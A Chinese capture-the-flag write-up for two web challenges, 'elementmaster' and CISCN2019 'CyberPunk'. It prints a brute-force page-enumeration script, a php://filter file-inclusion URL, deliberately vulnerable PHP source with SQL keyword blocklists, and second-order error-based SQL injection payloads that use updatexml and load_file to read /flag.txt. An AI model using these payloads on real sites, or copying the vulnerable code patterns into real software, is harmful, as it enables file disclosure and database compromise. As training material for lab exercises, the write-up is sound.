[BJDCTF 2nd]elementmaster
启动:
看到两个hidden id 第一个明显是十六进制,然后就把两个都转换一下,拼起来得到Po.php,
访问Po.php
,发现只有一个点。翻译index.php(首页)的英文。
我是全部118个元素的元素大师!你可能没有感觉,但是放射性射线的症状会无声的杀死你。
加上这个题的题目 element master,就是元素掌控者的意思,
结合步骤一(Po也是个化学元素的缩写),感觉应该是访问由元素周期表命名的php文件
(说白就是:.php文件是以元素周期表的元素命名的,其中有些页面可以访问,里面会有内容,把内容拼接起来就可以得到一个php文件)
写脚本遍历即可,
import requests
url='http://65170774-62e8-4d13-9ae3-449bf5282ccf.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)
发现And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问即可flag。
[CISCN2019 华北赛区 Day1 Web5] CyberPunk
考点:
- php伪协议读取文件
- 源码审计
- 报错注入
- LOAD_FILE()函数将文件内容读取成字符串,最大32位
启动环境:
信息收集,在网页源代码中得到提示:
应该可以在此读取文件,收集存在的页面
// 主页
index.php
// 我要查订单
<a href="./search.php">
// 我要修改收货地址
<a href="./change.php">
// 我不想要了
<a href="./delete.php">
<form role="form" action="./confirm.php" method="post">
尝试通过伪协议文件包含读取这些页面源码:
http://467ceaa4-2e02-46f9-b14a-25ec91a65986.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=index.php
//index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
//HTML页面的代码省略,保留之前说的注释
<!--?file=?-->
//search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php
//delete.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
通过对这几个页面的分析,做了很全的SQL注入防护,过滤的内容非常广泛,很难进行注入。但在change.php页面中,存在如下的可疑点:
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
其中传入了三个变量:$user_name
、$address
、$phone
其中对$user_name
、$phone
都做了preg_match()
黑名单处理,$address
只做了addslashes()
处理,address这个参数只是进行了addslashes($_POST[“address”])
的一些转义,其他的参数都过滤 (addslashes()函数返回在预定义字符之前添加反斜杠的字符串)
在$user_name和$phone都没问题后,$address也会被存入数据库,构造相应的payload实现二次注入,也就是在第二次修改时触发payload
通俗一点得解析:
可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发
该段SQL语句:
$sql = "update
userset
address='".$address."',
old_address='".$row['address']."' where
user_id=".$row['user_id'];
在修改时,将旧地址作为old_address字段重新存入。
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
因为其会回显数据库报错信息,所以采用报错注入方式,通过LOAD_FILE()函数将文件内容读取成字符串,构造payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
updatexml()
具有查询功能 并且会在xpath
处查询,将语法构造错误,就会将查询的结果以报错的形式显示出来,使用concat()
函数连接load_file()
返回的字符串。
接下来注入流程:
1.首先存入payload
2.通过修改,payload会拼接在old_address后
3.实现语句的执行
采用报错注入的方式,updatexml只能回显32位,需要分两次读取,第二次payload:
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#
步骤与之前相同,执行后得到后半部分的flag: